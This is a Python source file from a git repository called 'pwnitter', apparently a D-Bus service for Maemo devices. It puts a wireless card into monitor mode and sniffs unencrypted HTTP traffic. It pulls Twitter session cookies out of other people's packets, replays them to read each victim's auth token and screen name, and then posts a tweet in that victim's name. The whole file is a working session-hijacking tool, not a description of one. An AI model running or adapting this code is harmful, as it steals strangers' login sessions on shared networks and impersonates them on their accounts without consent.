git.maemo.org Git - pwnitter/blob - pwnitter.py

   1 #!/usr/bin/env python
   2 # On Linux (as root):
   3 #  * apt-get install libpcap0.8 python-pypcap python-dpkt
   4 #  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
   5 #  * ./idiocy.py -i mon0
   6
   7 import dbus.service
   8 import dbus.mainloop.glib
   9 import getopt, sys, pcap, dpkt, re, httplib, urllib
  10 import socket
  11 import time
  12 import gobject
  13 import select
  14 import subprocess
  15
  16 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
  17
  18 def usage():
  19     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0]
  20     sys.exit(1)
  21
  22 NAME = 'de.cryptobitch.muelli.Pwnitter'
  23
  24 class Pwnitter(dbus.service.Object):
  25     def __init__(self, bus, object_name, device='mon0'):
  26         super(Pwnitter, self).__init__(bus, object_name)
  27         self.device = device
  28
  29         self.status = status
  30         self.is_running = False
  31
  32     @dbus.service.method(NAME,
  33                          in_signature='', out_signature='')
  34     def Start(self, device='mon0'):
  35         # FIXME: Prevent double Start()
  36         # FIXME: Replace hardcoded interface
  37         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
  38         subprocess.call(cmd)
  39         cmd = '/sbin/ifconfig mon0 up'.split()
  40         subprocess.call(cmd)
  41         self.is_running = True
  42         try:
  43             self.cap = pcap.pcap(device)
  44         except OSError, e:
  45             print "Error setting up %s" % device
  46             raise e
  47         self.cap.setfilter('dst port 80')
  48         cap_fileno = self.cap.fileno()
  49         self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device)
  50
  51     def cap_readable_callback(self, source, condition, device):
  52         return self.pwn(device, self.MessageSent)
  53
  54     @dbus.service.signal(NAME)
  55     def MessageSent(self, who):
  56         print "Emitting MessageSent"
  57         return who
  58         return False
  59         pass
  60
  61     @dbus.service.method(NAME,
  62                          in_signature='s', out_signature='')
  63     def SetMessage(self, message):
  64         self.status = message
  65
  66     @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
  67                          in_signature='', out_signature='s')
  68     def GetMessage(self):
  69         return self.status
  70
  71     @dbus.service.method(NAME,
  72                          in_signature='', out_signature='')
  73     def Stop(self):
  74         self.is_running = False
  75         print "Receive Stop"
  76         gobject.source_remove(self.source_id)
  77         cmd = '/sbin/ifconfig mon0 down'.split()
  78         subprocess.call(cmd)
  79         cmd = '/usr/sbin/iw dev mon0 del'.split()
  80         subprocess.call(cmd)
  81         loop.quit()
  82
  83
  84     def pwn(self, device, tweeted_callback=None):
  85         processed = {}
  86         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
  87             ts, raw = self.cap.next()
  88             eth = dpkt.ethernet.Ethernet(raw)
  89             #print 'got a packet'
  90             # Depending on platform, we can either get fully formed packets or unclassified radio data
  91             if isinstance(eth.data, str):
  92                 data = eth.data
  93             else:
  94                 data = eth.data.data.data
  95
  96             hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
  97             if hostMatches:
  98                 print 'Host matched'
  99                 host = hostMatches.group(1)
 100
 101                 cookieMatches = re.search('Cookie: ([^\n]+)', data)
 102                 if cookieMatches:
 103                     cookie = cookieMatches.group(1)
 104
 105                     headers = {
 106                         "User-Agent": "Mozilla/5.0",
 107                         "Cookie": cookie,
 108                     }
 109
 110                     conn = httplib.HTTPSConnection(host)
 111                     try:
 112                         conn.request("GET", "/", None, headers)
 113                     except socket.error, e:
 114                         print e
 115                     else:
 116                         response = conn.getresponse()
 117                         page = response.read()
 118
 119                         # Newtwitter and Oldtwitter have different formatting, so be lax
 120                         authToken = ''
 121
 122                         formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
 123                         if formMatches:
 124                             authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
 125
 126                             if authMatches:
 127                                 authToken = authMatches.group(1)
 128
 129                         nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
 130                         if not nameMatches:
 131                             nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
 132
 133                         name = ''
 134                         if nameMatches:
 135                             name = nameMatches.group(1)
 136
 137
 138                         # We don't want to repeatedly spam people
 139                         # FIXME: What the fuck logic. Please clean up
 140                         if not ((not name and host != 'mobile.twitter.com') or name in processed):
 141                             headers = {
 142                                 "User-Agent": "Mozilla/5.0",
 143                                 "Accept": "application/json, text/javascript, */*",
 144                                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
 145                                 "X-Requested-With": "XMLHttpRequest",
 146                                 "X-PHX": "true",
 147                                 "Referer": "http://api.twitter.com/p_receiver.html",
 148                                 "Cookie": cookie
 149                             }
 150
 151
 152                             print 'Issueing connection'
 153                             if host == 'mobile.twitter.com':
 154
 155                                 params = urllib.urlencode({
 156                                     'tweet[text]': self.status,
 157                                     'authenticity_token': authToken
 158                                 })
 159
 160                                 conn = httplib.HTTPConnection("mobile.twitter.com")
 161                                 conn.request("POST", "/", params, headers)
 162
 163                             else:
 164
 165                                 params = urllib.urlencode({
 166                                     'status': self.status,
 167                                     'post_authenticity_token': authToken
 168                                 })
 169
 170                                 conn = httplib.HTTPConnection("api.twitter.com")
 171                                 conn.request("POST", "/1/statuses/update.json", params, headers)
 172
 173
 174                             response = conn.getresponse()
 175                             print 'Got response: %s' % response.status
 176                             if response.status == 200 or response.status == 302 or response.status == 403:
 177
 178                                 if name:
 179                                     processed[name] = 1
 180
 181                                 # 403 is a dupe tweet
 182                                 if response.status != 403:
 183                                     print "Successfully tweeted as %s" % name
 184                                     print 'calling %s' % tweeted_callback
 185                                     if tweeted_callback:
 186                                         tweeted_callback(name)
 187                                 else:
 188                                     print 'Already tweeted as %s' % name
 189
 190                             else:
 191
 192                                 print "FAILED to tweet as %s, debug follows:" % name
 193                                 print response.status, response.reason
 194                                 print response.read() + "\n"
 195         return self.is_running # Execute next time, we're idle
 196     # FIXME: Ideally, check     whether Pcap has got data for us
 197
 198 def main():
 199
 200     opts, args = getopt.getopt(sys.argv[1:], 'i:h')
 201     device = None
 202     for o, a in opts:
 203         if o == '-i':
 204             device = a
 205         else:
 206             usage()
 207     #pwn(device)
 208
 209
 210
 211 if __name__ == '__main__':
 212     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
 213
 214     #session_bus = dbus.SessionBus()
 215     session_bus = dbus.SystemBus()
 216     name = dbus.service.BusName(NAME, session_bus)
 217     pwnitter = Pwnitter(session_bus, '/Pwnitter')
 218     #object.Start()
 219
 220     loop = gobject.MainLoop()
 221     print "Running example signal emitter service."
 222     # FIXME: This is debug code
 223     #gobject.idle_add(pwnitter.MessageSent)
 224
 225     loop.run()
 226     print "Exiting for whatever reason"
 227     #main()